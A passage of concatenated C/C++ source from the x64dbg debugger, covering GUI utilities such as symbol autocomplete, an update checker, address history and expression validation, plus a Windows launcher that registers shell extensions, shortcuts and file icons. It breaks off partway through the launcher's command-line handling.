#include "SymbolAutoCompleteModel.h" #include "MiscUtil.h" #include "Configuration.h" SymbolAutoCompleteModel::SymbolAutoCompleteModel(std::function<QString()> getTextProc, QObject* parent) : QAbstractItemModel(parent), mGetTextProc(getTextProc), isValidReg("[\\w_@][\\w\\d_]*") { lastAutocompleteCount = 0; disableAutoCompleteUpdated(); connect(Config(), SIGNAL(disableAutoCompleteUpdated()), this, SLOT(disableAutoCompleteUpdated())); } QModelIndex SymbolAutoCompleteModel::parent(const QModelIndex & child) const { Q_UNUSED(child); return QModelIndex(); } QModelIndex SymbolAutoCompleteModel::index(int row, int column, const QModelIndex & parent) const { Q_UNUSED(parent); return createIndex(row, column); } int SymbolAutoCompleteModel::rowCount(const QModelIndex & parent) const { Q_UNUSED(parent); if(DbgIsDebugging()) { QString text = mGetTextProc(); auto match = isValidReg.match(text); if(match.hasMatch()) { update(); return lastAutocompleteCount; } else return 0; } else return 0; } int SymbolAutoCompleteModel::columnCount(const QModelIndex & parent) const { Q_UNUSED(parent); return 1; } QVariant SymbolAutoCompleteModel::data(const QModelIndex & index, int role) const { if(index.isValid() && DbgIsDebugging()) { if(index.column() == 0) { if(role == Qt::DisplayRole || role == Qt::EditRole || role == Qt::AccessibleTextRole) { //TODO update(); if(index.row() < lastAutocompleteCount) return QVariant(lastAutocomplete[index.row()]); else return QVariant(); } else if(role == Qt::DecorationRole) { return QVariant(DIcon("functions")); } } } return QVariant(); } void SymbolAutoCompleteModel::update() const { QString text = mGetTextProc(); if(text == lastAutocompleteText) return; char* data[MAXAUTOCOMPLETEENTRY]; memset(data, 0, sizeof(data)); int count = DbgFunctions()->SymAutoComplete(text.toUtf8().constData(), (char**)data, MAXAUTOCOMPLETEENTRY); for(int i = 0; i < count; i++) { lastAutocomplete[i] = QString::fromUtf8(data[i]); BridgeFree(data[i]); } lastAutocompleteCount = count; lastAutocompleteText = text; } void SymbolAutoCompleteModel::disableAutoCompleteUpdated() { lastAutocompleteText = ""; }
C/C++
x64dbg-development/src/gui/Src/Utils/SymbolAutoCompleteModel.h
#pragma once #include <functional> #include <QAbstractItemModel> #include <QRegularExpression> #define MAXAUTOCOMPLETEENTRY 20 class SymbolAutoCompleteModel : public QAbstractItemModel { Q_OBJECT public: SymbolAutoCompleteModel(std::function<QString()> getTextProc, QObject* parent = 0); virtual QVariant data(const QModelIndex & index, int role) const override; virtual QModelIndex index(int row, int column, const QModelIndex & parent) const override; virtual int rowCount(const QModelIndex & parent) const override; virtual int columnCount(const QModelIndex & parent) const override; virtual QModelIndex parent(const QModelIndex & child) const override; private slots: void disableAutoCompleteUpdated(); private: std::function<QString()> mGetTextProc; QRegularExpression isValidReg; mutable QString lastAutocompleteText; mutable QString lastAutocomplete[MAXAUTOCOMPLETEENTRY]; mutable int lastAutocompleteCount; void update() const; };
C++
x64dbg-development/src/gui/Src/Utils/UpdateChecker.cpp
#include "UpdateChecker.h" #include <QUrl> #include <QNetworkRequest> #include <QMessageBox> #include <QNetworkReply> #include <QIcon> #include <QDateTime> #include "Bridge.h" #include "StringUtil.h" #include "MiscUtil.h" UpdateChecker::UpdateChecker(QWidget* parent) : QNetworkAccessManager(parent), mParent(parent) { connect(this, SIGNAL(finished(QNetworkReply*)), this, SLOT(finishedSlot(QNetworkReply*))); } void UpdateChecker::checkForUpdates() { GuiAddStatusBarMessage(tr("Checking for updates...\n").toUtf8().constData()); get(QNetworkRequest(QUrl("https://api.github.com/repos/x64dbg/x64dbg/releases/latest"))); } void UpdateChecker::finishedSlot(QNetworkReply* reply) { if(reply->error() != QNetworkReply::NoError) //error { SimpleErrorBox(mParent, tr("Network Error!"), reply->errorString()); return; } QString json = QString(reply->readAll()); reply->close(); QRegExp regExp("\"published_at\": ?\"([^\"]+)\""); QDateTime serverTime; if(regExp.indexIn(json) >= 0) serverTime = QDateTime::fromString(regExp.cap(1), Qt::ISODate); if(!serverTime.isValid()) { SimpleErrorBox(mParent, tr("Error!"), tr("File on server could not be parsed...")); return; } QRegExp regUrl("\"browser_download_url\": ?\"([^\"]+)\""); auto url = regUrl.indexIn(json) >= 0 ? regUrl.cap(1) : "http://releases.x64dbg.com"; auto server = serverTime.date(); auto build = GetCompileDate(); QString info; if(server > build) info = QString(tr("New build %1 available!<br>Download <a href=\"%2\">here</a><br><br>You are now on build %3")).arg(ToDateString(server)).arg(url).arg(ToDateString(build)); else if(server < build) info = QString(tr("You have a development build (%1) of x64dbg!")).arg(ToDateString(build)); else info = QString(tr("You have the latest build (%1) of x64dbg!")).arg(ToDateString(build)); SimpleInfoBox(mParent, tr("Information"), info); }
C/C++
x64dbg-development/src/gui/Src/Utils/UpdateChecker.h
#pragma once #include <QNetworkAccessManager> class UpdateChecker : public QNetworkAccessManager { Q_OBJECT public: UpdateChecker(QWidget* parent); void checkForUpdates(); private slots: void finishedSlot(QNetworkReply* reply); private: QWidget* mParent; };
C/C++
x64dbg-development/src/gui/Src/Utils/VaHistory.h
#pragma once #include "Bridge.h" class VaHistory { public: void addVaToHistory(duint parVa) { //truncate everything right from the current VA if(mVaHistory.size() && mCurrentVa < mVaHistory.size() - 1) //mCurrentVa is not the last mVaHistory.erase(mVaHistory.begin() + mCurrentVa + 1, mVaHistory.end()); //do not have 2x the same va in a row if(!mVaHistory.size() || mVaHistory.back() != parVa) { mCurrentVa++; mVaHistory.push_back(parVa); } } bool historyHasPrev() { return !(!mCurrentVa || !mVaHistory.size()); //we are at the earliest history entry } bool historyHasNext() { return !(!mVaHistory.size() || mCurrentVa >= mVaHistory.size() - 1); //we are at the newest history entry } duint historyPrev() { if(!historyHasPrev()) return 0; mCurrentVa--; return mVaHistory.at(mCurrentVa); } duint historyNext() { if(!historyHasNext()) return 0; mCurrentVa++; return mVaHistory.at(mCurrentVa); } void historyClear() { mCurrentVa = -1; mVaHistory.clear(); } private: std::vector<duint> mVaHistory; size_t mCurrentVa = -1; };
C++
x64dbg-development/src/gui/Src/Utils/ValidateExpressionThread.cpp
#include "ValidateExpressionThread.h" ValidateExpressionThread::ValidateExpressionThread(QObject* parent) : QThread(parent), mExpressionChanged(false), mStopThread(false) { this->mOnExpressionChangedCallback = nullptr; } void ValidateExpressionThread::start() { mStopThread = false; QThread::start(); } void ValidateExpressionThread::stop() { mStopThread = true; } void ValidateExpressionThread::emitExpressionChanged(bool validExpression, bool validPointer, dsint value) { emit expressionChanged(validExpression, validPointer, value); } void ValidateExpressionThread::emitInstructionChanged(dsint sizeDifference, QString error) { emit instructionChanged(sizeDifference, error); } void ValidateExpressionThread::textChanged(QString text) { mExpressionMutex.lock(); if(mExpressionText != text) { mExpressionChanged = true; mExpressionText = text; } mExpressionMutex.unlock(); } void ValidateExpressionThread::additionalStateChanged() { mExpressionMutex.lock(); mExpressionChanged = true; mExpressionMutex.unlock(); } void ValidateExpressionThread::setOnExpressionChangedCallback(EXPRESSIONCHANGEDCB callback) { mOnExpressionChangedCallback = callback; } void ValidateExpressionThread::run() { while(!mStopThread) { mExpressionMutex.lock(); QString expression = mExpressionText; bool changed = mExpressionChanged; mExpressionChanged = false; mExpressionMutex.unlock(); if(changed && mOnExpressionChangedCallback != nullptr) { mOnExpressionChangedCallback(expression); } Sleep(50); } }
C/C++
x64dbg-development/src/gui/Src/Utils/ValidateExpressionThread.h
#pragma once #include <QThread> #include <QMutex> #include <functional> #include "Imports.h" typedef std::function<void(QString expression)> EXPRESSIONCHANGEDCB; class ValidateExpressionThread : public QThread { Q_OBJECT public: ValidateExpressionThread(QObject* parent = 0); void start(); void stop(); void emitExpressionChanged(bool validExpression, bool validPointer, dsint value); void emitInstructionChanged(dsint sizeDifference, QString error); signals: void expressionChanged(bool validExpression, bool validPointer, dsint value); void instructionChanged(dsint sizeDifference, QString error); public slots: void textChanged(QString text); void additionalStateChanged(); void setOnExpressionChangedCallback(EXPRESSIONCHANGEDCB callback); private: QMutex mExpressionMutex; QString mExpressionText; bool mExpressionChanged; volatile bool mStopThread; EXPRESSIONCHANGEDCB mOnExpressionChangedCallback; void run(); };
C++
x64dbg-development/src/launcher/x64dbg_launcher.cpp
#define UNICODE #include <stdio.h> #include <windows.h> #include <string> #include <queue> #include <shlwapi.h> #include <objbase.h> #pragma warning(push) #pragma warning(disable:4091) #include <shlobj.h> #pragma warning(pop) #include <atlcomcli.h> #include "../exe/resource.h" #include "../exe/LoadResourceString.h" #include "../exe/icon.h" #include "../dbg/GetPeArch.h" #pragma comment(lib, "comctl32.lib") static bool FileExists(const TCHAR* file) { auto attrib = GetFileAttributes(file); return (attrib != INVALID_FILE_ATTRIBUTES && !(attrib & FILE_ATTRIBUTE_DIRECTORY)); } static bool BrowseFileOpen(HWND owner, const TCHAR* filter, const TCHAR* defext, TCHAR* filename, int filename_size, const TCHAR* init_dir) { OPENFILENAME ofstruct; memset(&ofstruct, 0, sizeof(ofstruct)); ofstruct.lStructSize = sizeof(ofstruct); ofstruct.hwndOwner = owner; ofstruct.hInstance = GetModuleHandleW(nullptr); ofstruct.lpstrFilter = filter; ofstruct.lpstrFile = filename; ofstruct.nMaxFile = filename_size - 1; ofstruct.lpstrInitialDir = init_dir; ofstruct.lpstrDefExt = defext; ofstruct.Flags = OFN_EXTENSIONDIFFERENT | OFN_HIDEREADONLY | OFN_NONETWORKBUTTON; return !!GetOpenFileName(&ofstruct); } typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS)(HANDLE, PBOOL); typedef BOOL(WINAPI* LPFN_Wow64DisableWow64FsRedirection)(PVOID); typedef BOOL(WINAPI* LPFN_Wow64RevertWow64FsRedirection)(PVOID); LPFN_Wow64DisableWow64FsRedirection _Wow64DisableRedirection = NULL; LPFN_Wow64RevertWow64FsRedirection _Wow64RevertRedirection = NULL; static BOOL isWoW64() { BOOL isWoW64 = FALSE; static auto fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); if(NULL != fnIsWow64Process) { if(!fnIsWow64Process(GetCurrentProcess(), &isWoW64)) { return FALSE; } } return isWoW64; } static BOOL isWowRedirectionSupported() { BOOL bRedirectSupported = FALSE; _Wow64DisableRedirection = (LPFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "Wow64DisableWow64FsRedirection"); _Wow64RevertRedirection = (LPFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "Wow64RevertWow64FsRedirection"); if(!_Wow64DisableRedirection || !_Wow64RevertRedirection) return bRedirectSupported; else return !bRedirectSupported; } struct RedirectWow { PVOID oldValue = NULL; bool DisableRedirect() { return !!_Wow64DisableRedirection(&oldValue); } ~RedirectWow() { if(oldValue != NULL) { if(!_Wow64RevertRedirection(oldValue)) //Error occurred here. Ignore or reset? (does it matter at this point?) MessageBox(nullptr, TEXT("Error in Reverting Redirection"), TEXT("Error"), MB_OK | MB_ICONERROR); } } }; static TCHAR* GetDesktopPath() { static TCHAR path[MAX_PATH + 1]; if(SHGetSpecialFolderPath(HWND_DESKTOP, path, CSIDL_DESKTOPDIRECTORY, FALSE)) return path; return nullptr; } static HRESULT AddDesktopShortcut(TCHAR* szPathOfFile, const TCHAR* szNameOfLink) { HRESULT hRes = NULL; //Get the working directory TCHAR pathFile[MAX_PATH + 1]; _tcscpy_s(pathFile, szPathOfFile); PathRemoveFileSpec(pathFile); CComPtr<IShellLink> psl; hRes = CoCreateInstance(CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); if(SUCCEEDED(hRes)) { CComPtr<IPersistFile> ppf; psl->SetPath(szPathOfFile); psl->SetDescription(LoadResString(IDS_SHORTCUTDESC)); psl->SetIconLocation(szPathOfFile, 0); psl->SetWorkingDirectory(pathFile); hRes = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); if(SUCCEEDED(hRes)) { TCHAR path[MAX_PATH + 1] = TEXT(""); _tmakepath_s(path, nullptr, GetDesktopPath(), szNameOfLink, TEXT("lnk")); CComBSTR tmp(path); hRes = ppf->Save(tmp, TRUE); } } return hRes; } static bool RegisterShellExtension(const TCHAR* key, const TCHAR* command) { HKEY hKey; auto result = true; if(RegCreateKey(HKEY_CLASSES_ROOT, key, &hKey) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGCREATEKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return false; } if(RegSetValueEx(hKey, nullptr, 0, REG_EXPAND_SZ, LPBYTE(command), (_tcslen(command) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); result = false; } RegCloseKey(hKey); return result; } static void AddShellIcon(const TCHAR* key, const TCHAR* icon, const TCHAR* title) { HKEY pKey; if(RegOpenKeyEx(HKEY_CLASSES_ROOT, key, 0, KEY_ALL_ACCESS, &pKey) != ERROR_SUCCESS) MessageBox(nullptr, LoadResString(IDS_REGOPENKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); if(RegSetValueEx(pKey, L"Icon", 0, REG_SZ, LPBYTE(icon), (_tcslen(icon) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); if(RegSetValueEx(pKey, nullptr, 0, REG_SZ, LPBYTE(title), (_tcslen(title) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); RegCloseKey(pKey); } static void CreateUnicodeFile(const TCHAR* file) { //Taken from: http://www.codeproject.com/Articles/9071/Using-Unicode-in-INI-files if(FileExists(file)) return; // UTF16-LE BOM(FFFE) WORD wBOM = 0xFEFF; auto hFile = CreateFile(file, GENERIC_WRITE, 0, nullptr, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr); if(hFile == INVALID_HANDLE_VALUE) return; DWORD written = 0; WriteFile(hFile, &wBOM, sizeof(WORD), &written, nullptr); CloseHandle(hFile); } //Taken from: http://www.cplusplus.com/forum/windows/64088/ static bool ResolveShortcut(HWND hwnd, const TCHAR* szShortcutPath, TCHAR* szResolvedPath, size_t nSize) { if(!szResolvedPath) return SUCCEEDED(E_INVALIDARG); //Get a pointer to the IShellLink interface. CComPtr<IShellLink> psl; auto hres = CoCreateInstance(CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); if(SUCCEEDED(hres)) { //Get a pointer to the IPersistFile interface. CComPtr<IPersistFile> ppf; hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); if(SUCCEEDED(hres)) { //Load the shortcut. CComBSTR tmp(szShortcutPath); hres = ppf->Load(tmp, STGM_READ); if(SUCCEEDED(hres)) { //Resolve the link. hres = psl->Resolve(hwnd, 0); if(SUCCEEDED(hres)) { //Get the path to the link target. TCHAR szGotPath[MAX_PATH] = { 0 }; hres = psl->GetPath(szGotPath, _countof(szGotPath), nullptr, SLGP_SHORTPATH); if(SUCCEEDED(hres)) { _tcscpy_s(szResolvedPath, nSize, szGotPath); } } } } } return SUCCEEDED(hres); } static void AddDBFileTypeIcon(TCHAR* sz32Path, TCHAR* sz64Path) { HKEY hKeyCreatedx32; HKEY hKeyCreatedx64; HKEY hKeyCreatedIconx32; HKEY hKeyCreatedIconx64; LPCWSTR dbx32key = L".dd32"; LPCWSTR dbx64key = L".dd64"; LPCWSTR db_desc = L"x64dbg_db"; // file type key created if(RegCreateKey(HKEY_CLASSES_ROOT, dbx32key, &hKeyCreatedx32) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGCREATEKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } if(RegCreateKey(HKEY_CLASSES_ROOT, dbx64key, &hKeyCreatedx64) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGCREATEKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } // file type desc if(RegSetValueEx(hKeyCreatedx32, nullptr, 0, REG_SZ, LPBYTE(db_desc), (_tcslen(db_desc) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } if(RegSetValueEx(hKeyCreatedx64, nullptr, 0, REG_SZ, LPBYTE(db_desc), (_tcslen(db_desc) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } // file type key icon created if(RegCreateKey(hKeyCreatedx32, L"DefaultIcon", &hKeyCreatedIconx32) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGCREATEKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } if(RegCreateKey(hKeyCreatedx64, L"DefaultIcon", &hKeyCreatedIconx64) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGCREATEKEYFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } // file type key icon path if(RegSetValueEx(hKeyCreatedIconx32, nullptr, 0, REG_SZ, LPBYTE(sz32Path), (_tcslen(sz32Path) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } if(RegSetValueEx(hKeyCreatedIconx64, nullptr, 0, REG_SZ, LPBYTE(sz64Path), (_tcslen(sz64Path) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS) { MessageBox(nullptr, LoadResString(IDS_REGSETVALUEEXFAIL), LoadResString(IDS_ASKADMIN), MB_ICONERROR); return; } RegCloseKey(hKeyCreatedx32); RegCloseKey(hKeyCreatedx64); RegCloseKey(hKeyCreatedIconx32); RegCloseKey(hKeyCreatedIconx64); // refresh icons cache SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL); return; } static TCHAR szApplicationDir[MAX_PATH] = TEXT(""); static TCHAR szCurrentDir[MAX_PATH] = TEXT(""); static TCHAR sz32Path[MAX_PATH] = TEXT(""); static TCHAR sz32Dir[MAX_PATH] = TEXT(""); static TCHAR sz64Path[MAX_PATH] = TEXT(""); static TCHAR sz64Dir[MAX_PATH] = TEXT(""); static void restartInstall() { OSVERSIONINFO osvi; memset(&osvi, 0, sizeof(osvi)); osvi.dwOSVersionInfoSize = sizeof(osvi); GetVersionEx(&osvi); auto operation = osvi.dwMajorVersion >= 6 ? TEXT("runas") : TEXT("open"); ShellExecute(nullptr, operation, szApplicationDir, TEXT("::install"), szCurrentDir, SW_SHOWNORMAL); } static BOOL CALLBACK DlgLauncher(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch(uMsg) { case WM_INITDIALOG: { HANDLE hIcon; hIcon = LoadIconW(GetModuleHandle(0), MAKEINTRESOURCE(IDI_ICON1)); SendMessageW(hwndDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon); SetDlgItemText(hwndDlg, IDC_BUTTONINSTALL, LoadResString(IDS_SETUP)); EnableWindow(GetDlgItem(hwndDlg, IDC_BUTTON32), *sz32Dir != TEXT('\0')); EnableWindow(GetDlgItem(hwndDlg, IDC_BUTTON64), *sz64Dir != TEXT('\0') && isWoW64()); } return TRUE; case WM_CLOSE: { EndDialog(hwndDlg, 0); } return TRUE; case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON32: { EndDialog(hwndDlg, 0); ShellExecute(nullptr, TEXT("open"), sz32Path, TEXT(""), sz32Dir, SW_SHOWNORMAL); } return TRUE; case IDC_BUTTON64: { EndDialog(hwndDlg, 0); ShellExecute(nullptr, TEXT("open"), sz64Path, TEXT(""), sz64Dir, SW_SHOWNORMAL); } return TRUE; case IDC_BUTTONINSTALL: { EndDialog(hwndDlg, 0); restartInstall(); } return TRUE; } } break; } return FALSE; } static bool convertNumber(const wchar_t* str, unsigned long & result, int radix) { errno = 0; wchar_t* end; result = wcstoul(str, &end, radix); if(!result && end == str) return false; if(result == ULLONG_MAX && errno) return false; if(*end) return false; return true; } static bool parseId(const wchar_t* str, unsigned long & result) { int radix = 10; if(!wcsncmp(str, L"0x", 2)) radix = 16, str += 2; return convertNumber(str, result, radix); } const wchar_t* SHELLEXT_EXE_KEY = L"exefile\\shell\\Debug with x64dbg\\Command"; const wchar_t* SHELLEXT_ICON_EXE_KEY = L"exefile\\shell\\Debug with x64dbg"; const wchar_t* SHELLEXT_DLL_KEY = L"dllfile\\shell\\Debug with x64dbg\\Command"; const wchar_t* SHELLEXT_ICON_DLL_KEY = L"dllfile\\shell\\Debug with x64dbg"; static void deleteZoneData(const std::wstring & rootDir) { std::wstring tempPath; std::queue<std::wstring> queue; queue.push(rootDir); while(!queue.empty()) { auto dir = queue.front(); queue.pop(); WIN32_FIND_DATAW foundData; HANDLE hSearch = FindFirstFileW((dir + L"\\*").c_str(), &foundData); if(hSearch == INVALID_HANDLE_VALUE) { continue; } do { if((foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY) { if(wcscmp(foundData.cFileName, L".") != 0 && wcscmp(foundData.cFileName, L"..") != 0) queue.push(dir + L"\\" + foundData.cFileName); } else { tempPath = dir + L"\\" + foundData.cFileName + L":Zone.Identifier"; DeleteFileW(tempPath.c_str()); } } while(FindNextFileW(hSearch, &foundData)); FindClose(hSearch); } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { InitCommonControls(); //Initialize COM CoInitialize(nullptr); //Get INI file path if(!GetModuleFileName(nullptr, szApplicationDir, MAX_PATH)) { MessageBox(nullptr, LoadResString(IDS_ERRORGETTINGMODULEPATH), LoadResString(IDS_ERROR), MB_ICONERROR | MB_SYSTEMMODAL); return 0; } TCHAR szIniPath[MAX_PATH] = TEXT(""); _tcscpy_s(szIniPath, szApplicationDir); _tcscpy_s(szCurrentDir, szApplicationDir); auto len = int(_tcslen(szCurrentDir)); while(szCurrentDir[len] != TEXT('\\') && len) len--; if(len) szCurrentDir[len] = TEXT('\0'); len = int(_tcslen(szIniPath)); while(szIniPath[len] != TEXT('.') && szIniPath[len] != TEXT('\\') && len) len--; if(szIniPath[len] == TEXT('\\')) _tcscat_s(szIniPath, TEXT(".ini")); else _tcscpy_s(&szIniPath[len], _countof(szIniPath) - len, TEXT(".ini")); CreateUnicodeFile(szIniPath); //Load settings auto bDoneSomething = false; TCHAR szTempPath[MAX_PATH] = TEXT(""); if(!GetPrivateProfileString(TEXT("Launcher"), TEXT("x32dbg"), TEXT(""), szTempPath, MAX_PATH, szIniPath)) { _tcscpy_s(sz32Path, szCurrentDir); PathAppend(sz32Path, TEXT("x32\\x32dbg.exe")); if(FileExists(sz32Path)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x32dbg"), TEXT("x32\\x32dbg.exe"), szIniPath); bDoneSomething = true; } } else { if(PathIsRelative(szTempPath)) { _tcscpy_s(sz32Path, szCurrentDir); PathAppend(sz32Path, szTempPath); } else _tcscpy_s(sz32Path, szTempPath); } _tcscpy_s(sz32Dir, sz32Path); PathRemoveFileSpec(sz32Dir); if(!GetPrivateProfileString(TEXT("Launcher"), TEXT("x64dbg"), TEXT(""), szTempPath, MAX_PATH, szIniPath)) { _tcscpy_s(sz64Path, szCurrentDir); PathAppend(sz64Path, TEXT("x64\\x64dbg.exe")); if(FileExists(sz64Path)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x64dbg"), TEXT("x64\\x64dbg.exe"), szIniPath); bDoneSomething = true; } } else { if(PathIsRelative(szTempPath)) { _tcscpy_s(sz64Path, szCurrentDir); PathAppend(sz64Path, szTempPath); } else _tcscpy_s(sz64Path, szTempPath); } _tcscpy_s(sz64Dir, sz64Path); PathRemoveFileSpec(sz64Dir); //Functions to load the relevant debugger with a command line auto load32 = [](const wchar_t* cmdLine) { if(sz32Path[0]) ShellExecute(nullptr, TEXT("open"), sz32Path, cmdLine, sz32Dir, SW_SHOWNORMAL); else MessageBox(nullptr, LoadResString(IDS_INVDPATH32), LoadResString(IDS_ERROR), MB_ICONERROR); }; auto load64 = [](const wchar_t* cmdLine) { if(sz64Path[0]) ShellExecute(nullptr, TEXT("open"), sz64Path, cmdLine, sz64Dir, SW_SHOWNORMAL); else MessageBox(nullptr, LoadResString(IDS_INVDPATH64), LoadResString(IDS_ERROR), MB_ICONERROR); }; unsigned long pid = 0, id2 = 0; auto loadPid = [&](const wchar_t* cmdLine) { if(isWoW64()) { auto hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); if(hProcess) { BOOL bWow64Process = FALSE; if(IsWow64Process(hProcess, &bWow64Process) && bWow64Process) load32(cmdLine); else load64(cmdLine); CloseHandle(hProcess); } else load64(cmdLine); } else load32(cmdLine); }; OutputDebugStringW(L"[x96dbg] Command line:"); OutputDebugStringW(GetCommandLineW()); //Handle command line auto argc = 0; auto argv = CommandLineToArgvW(GetCommandLineW(), &argc); // If x64dbg is not found, perform installation if(bDoneSomething) { restartInstall(); return 0; } if(argc <= 1) //no arguments -> launcher dialog { if(!FileExists(sz32Path) && BrowseFileOpen(nullptr, TEXT("x32dbg.exe\0x32dbg.exe\0*.exe\0*.exe\0\0"), nullptr, sz32Path, MAX_PATH, szCurrentDir)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x32dbg"), sz32Path, szIniPath); bDoneSomething = true; } if(isWoW64() && !FileExists(sz64Path) && BrowseFileOpen(nullptr, TEXT("x64dbg.exe\0x64dbg.exe\0*.exe\0*.exe\0\0"), nullptr, sz64Path, MAX_PATH, szCurrentDir)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x64dbg"), sz64Path, szIniPath); bDoneSomething = true; } DialogBox(GetModuleHandle(0), MAKEINTRESOURCE(IDD_DIALOGLAUNCHER), 0, DlgLauncher); } else if(argc == 2 && !wcscmp(argv[1], L"::install")) //set configuration { if(!FileExists(sz32Path) && BrowseFileOpen(nullptr, TEXT("x32dbg.exe\0x32dbg.exe\0*.exe\0*.exe\0\0"), nullptr, sz32Path, MAX_PATH, szCurrentDir)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x32dbg"), sz32Path, szIniPath); bDoneSomething = true; } if(isWoW64() && !FileExists(sz64Path) && BrowseFileOpen(nullptr, TEXT("x64dbg.exe\0x64dbg.exe\0*.exe\0*.exe\0\0"), nullptr, sz64Path, MAX_PATH, szCurrentDir)) { WritePrivateProfileString(TEXT("Launcher"), TEXT("x64dbg"), sz64Path, szIniPath); bDoneSomething = true; } deleteZoneData(szCurrentDir); deleteZoneData(szCurrentDir + std::wstring(L"\\..\\pluginsdk")); if(MessageBox(nullptr, LoadResString(IDS_ASKSHELLEXT), LoadResString(IDS_QUESTION), MB_YESNO | MB_ICONQUESTION) == IDYES) { TCHAR szLauncherCommand[MAX_PATH] = TEXT(""); _stprintf_s(szLauncherCommand, _countof(szLauncherCommand), TEXT("\"%s\" \"%%1\""), szApplicationDir); TCHAR szIconCommand[MAX_PATH] = TEXT(""); _stprintf_s(szIconCommand, _countof(szIconCommand), TEXT("\"%s\",0"), szApplicationDir); if(RegisterShellExtension(SHELLEXT_EXE_KEY, szLauncherCommand)) AddShellIcon(SHELLEXT_ICON_EXE_KEY, szIconCommand, LoadResString(IDS_SHELLEXTDBG)); if(RegisterShellExtension(SHELLEXT_DLL_KEY, szLauncherCommand)) AddShellIcon(SHELLEXT_ICON_DLL_KEY, szIconCommand, LoadResString(IDS_SHELLEXTDBG)); bDoneSomething = true; } if(MessageBox(nullptr, LoadResString(IDS_ASKDESKTOPSHORTCUT), LoadResString(IDS_QUESTION), MB_YESNO | MB_ICONQUESTION) == IDYES) { AddDesktopShortcut(sz32Path, TEXT("x32dbg")); if(isWoW64()) AddDesktopShortcut(sz64Path, TEXT("x64dbg")); bDoneSomething = true; } if(MessageBox(nullptr, LoadResString(IDS_ASKICON), LoadResString(IDS_QUESTION), MB_YESNO | MB_ICONQUESTION) == IDYES) { AddDBFileTypeIcon(sz32Path, sz64Path); bDoneSomething = true; } if(bDoneSomething) MessageBox(nullptr, LoadResString(IDS_NEWCFGWRITTEN), LoadResString(IDS_DONE), MB_ICONINFORMATION); } else if(argc == 3 && !wcscmp(argv[1], L"-p") && parseId(argv[2], pid)) //-p PID { wchar_t cmdLine[32] = L""; wsprintfW(cmdLine, L"-p %u", pid); loadPid(cmdLine); } else if(argc == 5 && !wcscmp(argv[1], L"-p") && !wcscmp(argv[3], L"-tid") && parseId(argv[2], pid) && parseId(argv[4], id2)) //-p PID -tid TID { wchar_t cmdLine[32] = L""; wsprintfW(cmdLine, L"-p %u -tid %u", pid, id2); loadPid(cmdLine); } else if(argc == 5 && !wcscmp(argv[1], L"-p") && !wcscmp(argv[3], L"-e") && parseId(argv[2], pid) && parseId(argv[4], id2)) //-p PID -e EVENT { wchar_t cmdLine[32] = L""; wsprintfW(cmdLine, L"-a %u -e %u", pid, id2); loadPid(cmdLine); } else if(argc >= 2) //one or more arguments -> execute debugger { BOOL canDisableRedirect = FALSE; RedirectWow rWow; //check for redirection and disable it. if(isWoW64()) { if(isWowRedirectionSupported()) { canDisableRedirect = TRUE; } } TCHAR szPath[MAX_PATH] = TEXT(""); if(PathIsRelative(argv[1])) //resolve the full path if a relative path is specified (TODO: honor the PATH environment variable) { GetCurrentDirectory(_countof(szPath), 